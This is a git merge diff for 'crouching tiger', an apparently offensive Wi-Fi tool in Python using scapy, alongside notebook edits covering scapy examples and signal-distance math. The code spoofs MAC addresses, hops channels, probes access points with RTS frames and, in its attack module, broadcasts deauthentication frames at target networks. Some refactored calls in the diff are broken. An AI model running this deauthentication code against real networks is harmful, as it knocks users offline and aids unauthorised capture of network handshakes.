Merge pull request 'classified -> master' (#2) from classified into master

Reviewed-on: #2
This commit is contained in:
Anoduck The Anonymous Duck 2023-10-22 07:48:58 +02:00
commit 5036a63cd4
4 changed files with 396 additions and 261 deletions

477
ctiger.py
View file

@ -15,7 +15,6 @@ from scapy.sendrecv import sniff
from scapy.sendrecv import AsyncSniffer
from scapy.sendrecv import sendp
from scapy.sendrecv import sr1
from scapy.interfaces import get_working_if
from scapy.layers.dot11 import Dot11Beacon
from scapy.layers.dot11 import Dot11
from scapy.layers.dot11 import Dot11Elt
@ -26,9 +25,14 @@ from scapy.config import Conf as scapyconfig
from scapy.layers.eap import EAPOL
from scapy.utils import PcapWriter
from getmac import get_mac_address
# Import Faker.
from faker import Faker
# Import the WifiESSID class from Faker Wi-Fi ESSID.
# from faker_wifi_essid import WifiESSID
# import scapy_ex
# from scapy_ex import Dot11Elt
from art.art import tprint
from dataclasses import dataclass
import struct
import multiprocessing as mp
import asyncio
@ -41,8 +45,9 @@ import socket
import signal
import logging
from time import sleep
sys.path.append(os.path.expanduser('~/.local/lib/python3.11/site-packages'))
# sys.path.append(os.path.expanduser('~/.local/lib/python3.11/site-packages'))
sys.path.append(os.path.expanduser('~/.cache/pypoetry/virtualenvs/crouching-tiger-PCIv_4zN-py3.11/lib/python3.11/site-packages'))
# from simple_parsing import ArgumentParser
# _ _ _ ____ ___ _ ___ _ ___ ___
# \ ( ) / )_\ / _ \ )_ _( )_\ \ _) ) | ) __( ( _(
@ -51,11 +56,13 @@ sys.path.append(os.path.expanduser('~/.local/lib/python3.11/site-packages'))
# ------------------------------------------------------------
config_file = os.path.abspath("/etc/ctiger/config.ini")
pc = Counter()
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
# scapy.config.Conf.layers.filter([Dot11, Dot11Beacon, Dot11Elt,
# RadioTap, Dot11Deauth, Dot11FCS, EAPOL])
fake = Faker()
# fake.add_provider(WifiESSID)
# ------------------------------------------------------------
# ██████╗███████╗ ██████╗ ███████╗██████╗ ███████╗ ██████╗
# ██╔════╝██╔════╝██╔════╝ ██╔════╝██╔══██╗██╔════╝██╔════╝
@ -72,7 +79,6 @@ cfg = """# Crouching Tiger Config File
# General Settings
# ----------------
interface = string(default='wlan0')
sniff_count = integer(min=10, max=10, default=10)
logging_level = option('INFO', 'DEBUG', default='DEBUG')
log_file = string(default='/var/log/ctiger.log')
@ -190,96 +196,132 @@ def PRN2(pkt):
return pkt_list
# ---------------------------------------------------------------------------------
# ███████╗███████╗████████╗██╗ ██╗██████╗ ███╗ ███╗ ██████╗ ███╗ ██╗
# ██╔════╝██╔════╝╚══██╔══╝██║ ██║██╔══██╗ ████╗ ████║██╔═══██╗████╗ ██║
# ███████╗█████╗ ██║ ██║ ██║██████╔╝ ██╔████╔██║██║ ██║██╔██╗ ██║
# ╚════██║██╔══╝ ██║ ██║ ██║██╔═══╝ ██║╚██╔╝██║██║ ██║██║╚██╗██║
# ███████║███████╗ ██║ ╚██████╔╝██║ ██║ ╚═╝ ██║╚██████╔╝██║ ╚████║
# ╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
# ---------------------------------------------------------------------------------
def create_if(interface, mon_crtd, macaddr):
try:
os.system('ip link set ' + interface + ' up')
os.system('iw dev ' + interface + ' interface add ' + mon_crtd + ' type monitor')
log.debug('Created ' + mon_crtd)
os.system('ip link set ' + mon_crtd + ' down')
os.system('ip link set ' + mon_crtd + ' address ' + macaddr)
log.debug('Set device address to ' + macaddr)
os.system('ip link set ' + mon_crtd + ' up')
log.debug('Set device up')
os.system('iw set reg US')
log.debug('Set device registry to US')
log.info('Device is fully configured and up')
return True
except os.error as e:
log.debug('Failed to create ' + mon_crtd, e)
print('Creation of new monitor interface failed:', e)
sys.exit(1)
# ------------------------------------------------------------------
# ███████╗████████╗██████╗ █████╗ ██╗███╗ ██╗███████╗██████╗
# ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██║████╗ ██║██╔════╝██╔══██╗
# ███████╗ ██║ ██████╔╝███████║██║██╔██╗ ██║█████╗ ██████╔╝
# ╚════██║ ██║ ██╔══██╗██╔══██║██║██║╚██╗██║██╔══╝ ██╔══██╗
# ███████║ ██║ ██║ ██║██║ ██║██║██║ ╚████║███████╗██║ ██║
# ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝
# ----------------------------------------------------------------
def strainer(pkt) -> None:
if pkt[Dot11].type == 0 and pkt[Dot11].subtype == 4:
bssid = pkt[Dot11FCS].addr2
log.info('BSSID for strainer: {0}'.format(bssid))
log.debug('Local Macaddr is: {0}'.format(macaddr))
new_pkt = RadioTap()/Dot11(proto=0, type=1, subtype=11,
addr1=bssid,
addr2=macaddr,
ID=65535)
log.debug('Sending RTS frame to {0} with type 11'.format(bssid))
res = sr1(new_pkt, timeout=3, verbose=0, retry=0)
if res:
if res[Dot11].type == 1 and res[Dot11].subtype == 12:
log.debug('Recieved CTS packet.')
log.info('Intercepted CTS from: {0}'.format(bssid))
dbm_signal = pkt.dBm_AntSignal
channel = extract_channel(res[Dot11])
scan_df.loc[bssid] = ['N/A', dbm_signal, channel, 'N/A']
def switch_if(interface, macaddr):
try:
os.system('ip link set ' + interface + ' down')
log.debug('Set device down')
os.system('ip link set ' + interface + ' address ' + macaddr)
log.debug('Set device address to ' + macaddr)
os.system('iw dev ' + interface + ' set type monitor')
log.debug(interface + ' switched to monitor')
os.system('ip link set ' + interface + ' up')
# print('reg')
# os.system('iw set reg US')
# sleep(1)
# log.debug('Set device registry to US')
scapyconfig.iface = interface
log.info('Set scapy config interface to: ' + interface)
log.info('Device is fully configured and up')
return True
except os.error as e:
log.debug('Failed to switch ' + interface + ' type', e)
print('Failed to change ' + interface + ' mode', e)
sys.exit(1)
# -------------------------------------------------------------------
# ███╗ ██╗███████╗████████╗██████╗ ███████╗██╗ ██╗
# ████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██║
# ██╔██╗ ██║█████╗ ██║ ██║ ██║█████╗ ██║ ██║
# ██║╚██╗██║██╔══╝ ██║ ██║ ██║██╔══╝ ╚██╗ ██╔╝
# ██║ ╚████║███████╗ ██║ ██████╔╝███████╗ ╚████╔╝
# ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═══╝
# ----------------------------------------------------------------
class NetDev:
def __init__(self, interface, mon_type) -> None:
self.interface = interface
self.mon_type = mon_type
def start_monitor(interface, mon_type, macaddr):
"""
Starts a monitor interface based on the given arguments.
Args:
interface (str): The name of the interface to create the monitor interface from.
mon_type (str): The type of monitor interface to create or switch to.
Possible values are "create" or "switch".
Returns:
str: The name of the created or switched monitor interface.
"""
log.debug('mac_address type: ' + str(type(macaddr)))
log.debug('mac_address: ' + str(macaddr))
log.info('Starting monitor interface')
mon_crtd = interface + 'mon'
if mon_type == 'create':
create_if(interface, mon_crtd, macaddr)
if_mon = mon_crtd
return if_mon
elif mon_type == 'switch':
if switch_if(interface, macaddr):
return interface
else:
log.debug('Something got fucked with the interface')
def create_if(self, interface, mon_crtd, macaddr) -> bool:
try:
os.system(f'ip link set {self.interface} up')
os.system(f'iw dev {self.interface} interface add {self.mon_crtd} type monitor')
log.debug('Created {0}'.format(self.mon_crtd))
os.system(f'ip link set {self.mon_crtd} down')
os.system(f'ip link set {self.mon_crtd} address {self.macaddr}')
log.debug('Set device address to {0}'.format(self.macaddr))
os.system(f'ip link set {self.mon_crtd} up')
log.debug('Set device up')
os.system('iw set reg US')
log.debug('Set device registry to US')
log.info('Device is fully configured and up')
return True
except os.error as e:
log.debug('Failed to create {0}'.format(self.interface), e)
sys.exit(1)
def switch_if(self, interface, macaddress) -> bool:
self.interface = interface
self.macaddr = macaddress
try:
os.system(f'ip link set {self.interface} down')
log.debug('Set device down')
os.system(f'ip link set {self.interface} address {self.macaddr}')
log.debug('Set device address to {0}'.format(self.macaddr))
# (below) setting registry is known to cause issues.
# os.system('iw set reg US')
# log.debug('Set device registry to US')
os.system(f'iw dev {self.interface} set type monitor')
log.debug('{0} switched to monitor'.format(self.interface))
os.system(f'ip link set {self.interface} up')
scapyconfig.iface = self.interface
log.info('Set scapy config self.name to: {0}'.format(self.interface))
log.info('Device is fully configured and up')
return True
except os.error as e:
log.debug('Failed to switch ', self.interface, ' type', e)
print('Failed to change ', self.interface, ' mode', e)
sys.exit(1)
def start_monitor(self, interface, mon_type) -> str:
"""
Starts a monitor self.name based on the given arguments.
Args:
interface (str): The name of the interface to create the monitor interface from.
mon_type (str): The type of monitor interface to create or switch to.
Possible values are "create" or "switch".
Returns:
str: The name of the created or switched monitor interface.
"""
global macaddr
macaddr = fake.mac_address()
self.macaddr = macaddr
log.debug('mac_address: {0}'.format(self.macaddr))
log.debug('Monitor Type: {0}'.format(self.mon_type))
log.info('Starting monitor interface')
self.interface = interface
self.mon_type = mon_type
mon_crtd = self.interface + 'mon'
self.mon_crtd = mon_crtd
if self.mon_type == 'create':
self.create_if()
mon_if = self.mon_crtd
return mon_if
elif self.mon_type == 'switch':
self.switch_if(self.interface, self.macaddr)
mon_if = self.interface
return mon_if
else:
Exception('Invalid monitor type')
log.debug('Invalid monitor type')
sys.exit(1)
else:
Exception('Invalid monitor type')
log.debug('Invalid monitor type')
sys.exit(1)
def stop_monitor(if_mon):
try:
os.system("iw dev " + if_mon + " del")
return True
except:
return False
def signal_handler(signal, frame) -> None:
print('You pressed Ctrl+C!')
log.info('Shutting down')
scan_df.to_csv('ct_purge.csv')
log.info('Saved results to: {0}'.format('ct_purge.csv'))
log.info('Going Down!!')
sys.exit(0)
# ██████╗ ██╗ ██╗██████╗ ██████╗ ███████╗
@ -289,112 +331,57 @@ def stop_monitor(if_mon):
# ██║ ╚██████╔╝██║ ██║╚██████╔╝███████╗
# ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝
# -------------------------------------------
class Purge:
@dataclass
class Purge(object):
def __init__(self, **kwargs) -> None:
self.interface = kwargs.get("interface")
self.mon_type = kwargs.get("mon_type")
self.valid_file = kwargs.get("valid_file")
self.channels = kwargs.get("channels")
self.scan_df = get_df()
self.macaddr = gen_mac()
self.log = log
self.interface = kwargs.get('interface')
self.mon_type = kwargs.get('mon_type')
self.valid_file = kwargs.get('valid_file')
self.channels = kwargs.get('channels')
# ------------------------------------------------------------------
# ███████╗████████╗██████╗ █████╗ ██╗███╗ ██╗███████╗██████╗
# ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██║████╗ ██║██╔════╝██╔══██╗
# ███████╗ ██║ ██████╔╝███████║██║██╔██╗ ██║█████╗ ██████╔╝
# ╚════██║ ██║ ██╔══██╗██╔══██║██║██║╚██╗██║██╔══╝ ██╔══██╗
# ███████║ ██║ ██║ ██║██║ ██║██║██║ ╚████║███████╗██║ ██║
# ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝
# ----------------------------------------------------------------
def strainer(pkt):
if pkt[Dot11].type == 0 and pkt[Dot11].subtype == 4:
bssid = pkt[Dot11FCS].addr2
log.info('BSSID for strainer: ' + str(bssid))
iface = get_working_if()
log.debug('Working interface is: ', iface)
if iface == 'lo':
return
macaddr = get_mac_address(iface)
log.debug('Local Macaddr is: ', macaddr)
new_pkt = RadioTap()/Dot11(proto=0, type=1, subtype=11,
addr1=bssid,
addr2=macaddr,
ID=65535)
log.debug('Sending RTS frame to ' + str(bssid) + ' with type 11')
res = sr1(new_pkt, timeout=2, verbose=0, retry=0)
if res:
if res[Dot11].type == 1 and res[Dot11].subtype == 12:
log.debug('Recieved CTS packet.')
log.info('Intercepted CTS from: ' + bssid)
dbm_signal = pkt.dBm_AntSignal
channel = extract_channel(res[Dot11])
scan_df.loc[bssid] = ['N/A', dbm_signal, channel, 'N/A']
def df_writer(self):
if self.scan_df.empty:
exit(0)
else:
df_towrite = self.scan_df
df_towrite.to_csv(self.valid_file)
print('results written to file ' + self.valid_file)
exit(0)
# ---------------------------------------------------------------------------
# ██████╗██╗ ██╗ ██████╗ ██╗ ██╗███╗ ██╗███╗ ██╗███████╗██████╗
# ██╔════╝██║ ██║ ██╔══██╗██║ ██║████╗ ██║████╗ ██║██╔════╝██╔══██╗
# ██║ ███████║ ██████╔╝██║ ██║██╔██╗ ██║██╔██╗ ██║█████╗ ██████╔╝
# ██║ ██╔══██║ ██╔══██╗██║ ██║██║╚██╗██║██║╚██╗██║██╔══╝ ██╔══██╗
# ╚██████╗██║ ██║ ██║ ██║╚██████╔╝██║ ╚████║██║ ╚████║███████╗██║ ██║
# ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝
# ----------------------------------------------------------------------------
def channel_runner(self):
def channel_runner(self, mon_if, channels) -> None:
self.mon_if = mon_if
self.channels = channels
log.info('Channel Runner NG started.')
log.info('Preliminary channel list: ' + str(self.channels))
log.debug('Preliminary list type is: ' + str(type(self.channels)))
log.info('Preliminary channel list: {0}'.format(self.channels))
chanlist = self.channels.split(',')
chlist = list(set(chanlist))
log.info('Channel list: ' + str(chlist))
chans = [int(chan) for chan in chlist]
log.info('Channel list: {0}'.format(chlist))
thread = threading.current_thread()
print(f'name={thread.name}, daemon={thread.daemon}')
while True:
ichan = choice(chans)
os.system('iw dev ' + self.mon_if + ' set channel ' + str(ichan))
# log.debug('Channel set to ' + str(ichan))
log.debug('Hopping on: {0}'.format(ichan))
os.system(f'iw dev {self.mon_if} set channel {str(ichan)}')
log.debug('Channel set to {0}'.format(ichan))
sleep(14.7)
def signal_handler(signal, frame):
print('You pressed Ctrl+C!')
log.info('Shutting down')
Purge.scan_df.to_csv('ct_purge.csv')
log.info('Saved results to: ' + Purge.valid_file)
log.info('Going Down!!')
sys.exit(0)
# -----------------------------------------------------------------------------
# ███╗ ███╗ █████╗ ██████╗ ██████╗ ██╗ ██╗██████╗ ██████╗ ███████╗
# ████╗ ████║██╔══██╗██╔════╝ ██╔══██╗██║ ██║██╔══██╗██╔════╝ ██╔════╝
# ██╔████╔██║███████║██║ ██████╔╝██║ ██║██████╔╝██║ ███╗█████╗
# ██║╚██╔╝██║██╔══██║██║ ██╔═══╝ ██║ ██║██╔══██╗██║ ██║██╔══╝
# ██║ ╚═╝ ██║██║ ██║╚██████╗ ██║ ╚██████╔╝██║ ██║╚██████╔╝███████╗
# ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝
# ----------------------------------------------------------------------------
async def mac_purge(self):
signal.signal(signal.SIGINT, self.signal_handler)
async def mac_purge(self, interface, mon_type, valid_file, channels):
global scan_df
scan_df = get_df()
signal.signal(signal.SIGINT, signal_handler)
print('Enter Ctrl+C TWICE to fully stop the script.')
self.mon_if = start_monitor(self.interface, self.mon_type, self.macaddr)
log.info('interface ' + self.mon_if + ' is up and running.')
self.valid_file = self.valid_file
log.info('We will be writing captured macs to ' + self.valid_file)
chop = asyncio.to_thread(self.channel_runner, self.channels)
self.interface = interface
self.mon_type = mon_type
self.valid_file = valid_file
self.channels = channels
ndev = NetDev(interface=self.interface, mon_type=self.mon_type)
mon_if = ndev.start_monitor(interface=self.interface,
mon_type=self.mon_type)
self.mon_if = mon_if
log.info('interface {0} is up and running.'.format(self.mon_if))
# vfile = self.get_file()
# log.info('We will be writing captured macs to ', str(self.valid_file))
chop = asyncio.to_thread(self.channel_runner,
self.mon_if, self.channels)
chopper = asyncio.create_task(chop)
log.info('Channel runner started.')
await asyncio.sleep(0)
while True:
log.info('starting sniffer')
asniff = AsyncSniffer(iface=self.mon_if,
prn=self.strainer,
asniff = AsyncSniffer(iface=mon_if,
prn=strainer,
store=False, monitor=True)
asniff.start()
log.info('asniffer started')
@ -402,6 +389,13 @@ class Purge:
forever_wait.wait()
def start_purge(self) -> None:
asyncio.run(self.mac_purge(self.interface,
self.mon_type,
self.valid_file,
self.channels))
# -----------------------------------------------------------------------------
# ███████╗███╗ ██╗██╗███████╗███████╗ ███████╗████████╗ ██████╗ ██████╗
# ██╔════╝████╗ ██║██║██╔════╝██╔════╝ ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗
@ -437,12 +431,12 @@ async def sniff_stop(pkt):
# ----------------------------------------------------------------------------
async def set_channel(interface, channel):
try:
os.system('iw dev ' + interface + ' set channel ' + channel)
os.system('ip link set ' + interface + ' up')
log.info('Channel set to ' + channel)
os.system('iw dev ', interface, ' set channel ', channel)
os.system('ip link set ', interface, ' up')
log.info('Channel set to ', channel)
except:
log.debug('Failed to set channel on ' + interface)
print('Failed to set channel on ' + interface)
log.debug('Failed to set channel on ', interface)
print('Failed to set channel on ', interface)
# -----------------------------------------------------------------------------
@ -458,13 +452,13 @@ async def feed_gather(mon_dev, targ):
fg_asf = await AsyncSniffer(stop_filter=sniff_stop, iface=mon_dev, monitor=True)
log.info('Starting pkt gather')
await fg_asf.start()
# log.info('Setting mon_dev channel to ' + channel)
# log.info('Setting mon_dev channel to ', channel)
pkt = RadioTap()/Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth()
log.debug('sending deauth to ' + targ + ' with type 4')
log.debug('sending deauth to ', targ, ' with type 4')
sendp(pkt, iface=mon_dev, verbose=0)
await asyncio.sleep(1)
pkt = RadioTap()/Dot11(type=0, subtype=12, addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth()
log.debug('sending deauth to ' + targ + ' with type 12')
log.debug('sending deauth to ', targ, ' with type 12')
sendp(pkt, iface=mon_dev, verbose=0)
await asyncio.sleep(1)
@ -473,7 +467,7 @@ def grab_macs(pkt):
if pkt.haslayer(Dot11):
if pkt.type == 0 and pkt.subtype == 4:
if pkt.info != '':
log.debug('mac: ' + pkt.addr2)
log.debug('mac: ', pkt.addr2)
return pkt.addr2
@ -493,8 +487,8 @@ async def chan_hopper(mon_dev, channels):
chans = [int(chan) for chan in chlist]
while True:
ichan = choice(chans)
os.system('iw dev ' + mon_dev + ' set channel ' + str(ichan))
log.debug('Channel set to ' + str(ichan))
os.system('iw dev ', mon_dev, ' set channel ', str(ichan))
log.debug('Channel set to ', str(ichan))
await asyncio.sleep(4.7)
# return ichan
@ -514,11 +508,11 @@ async def attack(mon_dev, scan_file):
tpairs = targets.drop(columns=['crypt', 'ssid'])
pd_chan_list = tpairs.channel.to_list()
channels = list(set(pd_chan_list))
log.debug('Channel Type: ' + str(type(channels)))
log.debug('Channel Type: ', str(type(channels)))
pd_bssid_list = tpairs.bssid.to_list()
bssids = list(set(pd_bssid_list))
log.info('Channel list: ' + str(channels))
log.info('BSSID list: ' + str(bssids))
log.info('Channel list: ', str(channels))
log.info('BSSID list: ', str(bssids))
asniff = AsyncSniffer(iface=mon_dev, prn=grab_macs, monitor=True, store=False)
asniff.start()
log.info('Starting channel hopper')
@ -528,7 +522,7 @@ async def attack(mon_dev, scan_file):
with await asniff.results() as ares:
for row in ares:
if row[1] in targets:
log.info('Found target: ' + row[1])
log.info('Found target: ', row[1])
asyncio.create_task(feed_gather(mon_dev, row))
await asyncio.sleep(1)
@ -546,13 +540,14 @@ def start_attack(mondev, scan_file):
# ██████╔╝██║ ██║███████╗██║ ╚═╝ ██║╚██████╔╝██║ ╚████║
# ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
# ----------------------------------------------------------------------------
def proc_attack(interface, scan_file, mon_type, daemon):
def proc_attack(interface, scan_file, mon_type):
mon_dev = start_monitor(interface, mon_type)
# daemon = Daemonize(app=__name__, pid='/tmp/ctiger.pid',
# action=asyncio.run(attack(mon_dev, scan_file)))
mp.set_start_method('spawn')
attack_daemon = mp.Process(target=start_attack, args=(mon_dev, scan_file),
name='attack_daemon', daemon=True)
daemon = False
if daemon:
log.info('Daemonizing & sending to background...')
attack_daemon.start()
@ -570,20 +565,22 @@ def proc_attack(interface, scan_file, mon_type, daemon):
# ███████║╚██████╗██║ ██║██║ ╚████║
# ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝
# -------------------------------------------------------------
def scan_scn(interface, save_results, rfile, sniff_count):
def scan_scn(interface, save_results, rfile):
scan_df = get_df()
# ssocket = conf.L2socket(iface=if_mon)
sniff_ses = sniff(prn=PRN2, iface=interface, count=sniff_count, monitor=True)
sniff_ses = sniff(prn=PRN2, iface=interface,
count=10, monitor=True)
print(str(sniff_ses))
if save_results:
scan_df.to_csv(rfile)
print('results written to file ' + rfile)
print('results written to file ', rfile)
else:
print(scan_df)
# stop_monitor(if_mon)
print('Done')
# -------------------------------------------------------------
# -------------------------------------------------------------
# ██████╗ ███████╗████████╗ ██████╗ ███████╗
# ██╔════╝ ██╔════╝╚══██╔══╝ ██╔══██╗██╔════╝
@ -594,50 +591,31 @@ def scan_scn(interface, save_results, rfile, sniff_count):
# -------------------------------------------------------------
def get_df():
"""
Initializes and returns an empty pandas DataFrame object.
This function creates a new pandas DataFrame object, `scan_df`, with the following columns:
- `BSSID`: The BSSID of the WiFi network.
- `SSID`: The SSID of the WiFi network.
- `dBm_Signal`: The signal strength of the WiFi network in dBm.
- `Channel`: The channel of the WiFi network.
- `Crypto`: The encryption type of the WiFi network.
The function sets the index of the DataFrame to be the `BSSID` column.
Initializes a new empty DataFrame for storing scan data.
Returns:
scan_df (pandas DataFrame): An empty DataFrame object with the specified columns and index.
pandas.DataFrame: The newly created DataFrame with columns 'BSSID', 'SSID', 'dBm_Signal', 'Channel', and 'Crypto'.
"""
global scan_df
scan_df = pd.DataFrame(columns=['BSSID', 'SSID', 'dBm_Signal', 'Channel', 'Crypto'])
scan_df = pd.DataFrame(columns=['BSSID', 'SSID',
'dBm_Signal', 'Channel',
'Crypto'])
scan_df.set_index("BSSID", inplace=True)
return scan_df
# -------------------------------------------------------------
# ██████╗ ███████╗███╗ ██╗ ███╗ ███╗ █████╗ ██████╗
# ██╔════╝ ██╔════╝████╗ ██║ ████╗ ████║██╔══██╗██╔════╝
# ██║ ███╗█████╗ ██╔██╗ ██║ ██╔████╔██║███████║██║
# ██║ ██║██╔══╝ ██║╚██╗██║ ██║╚██╔╝██║██╔══██║██║
# ╚██████╔╝███████╗██║ ╚████║ ██║ ╚═╝ ██║██║ ██║╚██████╗
# ╚═════╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝
# ----------------------------------------------------------------
def GetMAC(iface):
global macaddr
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', bytes(iface, 'utf-8')[:15]))
return ':'.join('%02x' % b for b in info[18:24])
macaddr = ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]
log.debug('Acquired random mac value: ' + macaddr)
return macaddr
def gen_mac():
global macaddr
mac_address = [randint(0x00, 0xff) for _ in range(6)]
macaddr = ':'.join(['{:02x}'.format(byte) for byte in mac_address])
return macaddr
def get_log(log_file):
logfile = os.path.abspath(log_file)
log = logging.getLogger('scapy.runtime')
if log.hasHandlers():
log.handlers.clear()
log.setLevel(logging.DEBUG)
handler = logging.FileHandler(logfile, mode='a', encoding='utf-8')
formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
handler.setFormatter(formatter)
log.addHandler(handler)
log.info('Started crouching tiger')
log.info('Started logger...')
return log
# -------------------------------------------------------------------
@ -649,7 +627,7 @@ def gen_mac():
# ╚═╝ ╚══════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚══════╝
# -------------------------------------------------------------------
# This is some fancy shit.
def process_args(args: argparse.Namespace, config):
def process_args(args: argparse.Namespace) -> None:
"""
Processes the command line arguments.
@ -659,25 +637,24 @@ def process_args(args: argparse.Namespace, config):
Returns:
None
"""
logging.basicConfig(filename=args.log_file, level=args.log_level,
format='%(asctime)s %(levelname)s %(message)s')
# create logger
global log
log = logging.getLogger(__name__)
# logger.setLevel(logging.DEBUG)
log = get_log(args.log_file)
log.info('Started crouching tiger')
log.info('Started logger...')
match args.module:
case "att":
log.info('Starting attack formation...')
proc_attack(args.interface, args.scan_file, args.mon_type, config['ATTACK']['use_daemon'])
proc_attack(args.interface, args.scan_file, args.mon_type)
case "mac":
log.info('Beginning Mac Purge')
#mon_dev, mon_type, valid_file, channels
#mon_dev, mon_type, valid_file, channels
data = vars(args)
asyncio.run(Purge.mac_purge(**data))
log.debug('args: {0}'.format(args))
pge = Purge(interface=args.name,
mon_type=args.mon_type,
valid_file=args.valid_file,
channels=args.channels)
pge.start_purge()
case "scn":
log.info('Start scanning...')
if not args.save_results:
@ -685,7 +662,7 @@ def process_args(args: argparse.Namespace, config):
log.debug('Not saving results')
else:
rfile = args.rfile
log.debug('Saving results to ' + rfile)
log.debug('Saving results to ', rfile)
scan_scn(args.interface, args.save_results, rfile)
case _:
ap.print_help()
@ -740,7 +717,7 @@ if not os.path.isfile(config_file):
validator = validate.Validator()
config.validate(validator, copy=True)
config.write()
print("configuration file written to " + config_path)
print("configuration file written to ", config_path)
sys.exit()
else:
config = ConfigObj(config_file, configspec=spec)
@ -774,12 +751,9 @@ else:
epilog='Processing will take several seconds, please be patient.\n',
conflict_handler='resolve')
# options parser
ap.add_argument('-i', '--interface', dest='interface',
ap.add_argument('-i', '--interface', dest='name',
default=config['interface'],
help='Interface(s) to scan on')
ap.add_argument('-s', '--sniffs', dest='sniff_count', type=int,
default=config['sniff_count'], required=False,
help='Length of time to capture packets')
ap.add_argument('-f', '--file', dest='config_file', default='config_path',
help='configuration file')
ap.add_argument('-l', '--log_level', dest='log_level', default=config['logging_level'],
@ -816,7 +790,7 @@ else:
mac_parse.add_argument('-c', '--channels', dest='channels',
default=config['MAC_PURGE']['channel_list'],
help='A single or comma seperated list of channels.')
mac_parse.set_defaults(fun=Purge.mac_purge)
mac_parse.set_defaults(fun=Purge.start_purge)
# scn Subcommands
scn_parse = subparse.add_parser('scn', help='Scan for target')
@ -832,8 +806,9 @@ else:
##################
# parse the args #
##################
ap.set_defaults(fun=process_args)
args = ap.parse_args(args=None if sys.argv[1:] else ['--help'])
process_args(args, config)
process_args(args)
if __name__ == '__main__':

View file

@ -1704,7 +1704,7 @@
"cell_type": "markdown",
"metadata": {},
"source": [
"### Scapy Examples from popular programs (Circa 2018)\n",
"## Scapy Examples from popular programs (Circa 2018)\n",
"\n",
"Below are examples of popular scapy functions."
]
@ -1713,7 +1713,7 @@
"cell_type": "markdown",
"metadata": {},
"source": [
"#### 1. Aggr-Inject"
"### 1. Aggr-Inject"
]
},
{
@ -1735,7 +1735,7 @@
"cell_type": "markdown",
"metadata": {},
"source": [
"#### 2. Aggr-Inject"
"### 2. Aggr-Inject"
]
},
{
@ -1758,7 +1758,7 @@
"cell_type": "markdown",
"metadata": {},
"source": [
"#### 3. Aggr-Inject"
"### 3. Aggr-Inject"
]
},
{
@ -1781,7 +1781,7 @@
"cell_type": "markdown",
"metadata": {},
"source": [
"#### 4. Pyrit"
"### 4. Pyrit"
]
},
{
@ -1848,7 +1848,7 @@
"cell_type": "markdown",
"metadata": {},
"source": [
"#### 5. Aggr-Inject"
"### 5. Aggr-Inject"
]
},
{
@ -1901,11 +1901,11 @@
"cell_type": "markdown",
"metadata": {},
"source": [
"### Calculating distance of a wireless device\n",
"## Calculating distance of a wireless device\n",
"\n",
"This is where I wish I had payed more attention in math class.\n",
"\n",
"#### Calculating Frame Margin. (or whatever FSPL is.)\n",
"### Calculating Frame Margin. (or whatever FSPL is.)\n",
"\n",
"`FSPL (dB) = 20log10(d) + 20log10(f) + K`\n",
"\n",
@ -1920,6 +1920,49 @@
"\n",
"FSPL = Tx Power - Tx CBLS + Tx AntGain + Rx AntGain - RxCBLS - Rx Sensitivity - Fade Margin"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Debuging Output"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"\n",
"\n",
"```shell\n",
" █▀▀█ █▀▀█ █▀▀█ █──█ █▀▀ █──█ ─▀─ █▀▀▄ █▀▀▀ ▀▀█▀▀ ─▀─ █▀▀▀ █▀▀ █▀▀█\n",
"░█─── █▄▄▀ █──█ █──█ █── █▀▀█ ▀█▀ █──█ █─▀█ ─░█── ▀█▀ █─▀█ █▀▀ █▄▄▀\n",
"░█▄▄█ ▀─▀▀ ▀▀▀▀ ─▀▀▀ ▀▀▀ ▀──▀ ▀▀▀ ▀──▀ ▀▀▀▀ ─░█── ▀▀▀ ▀▀▀▀ ▀▀▀ ▀─▀▀\n",
"INFO: Started crouching tiger\n",
"INFO: Started logger...\n",
"INFO: Started crouching tiger\n",
"INFO: Started logger...\n",
"INFO: Beginning Mac Purge\n",
"DEBUG: args: $Namespace(name='wlan0', config_file='config_path', log_level='DEBUG', log_file='/var/log/ctiger.log', module='mac', mon_type='switch', valid_file='ct_valid.csv', channels='1,7,6,11', fun=<function Purge.mac_purge at 0x7f9166405a80>)\n",
"DEBUG: Kwargs: ${'name': 'wlan0', 'config_file': 'config_path', 'log_level': 'DEBUG', 'log_file': '/var/log/ctiger.log', 'module': 'mac', 'mon_type': 'switch', 'valid_file': 'ct_valid.csv', 'channels': '1,7,6,11', 'fun': <function Purge.mac_purge at 0x7f9166405a80>}\n",
"DEBUG: Interface: $None\n",
"DEBUG: Self Interface: $None\n",
"DEBUG: Monitor Type: $switch\n",
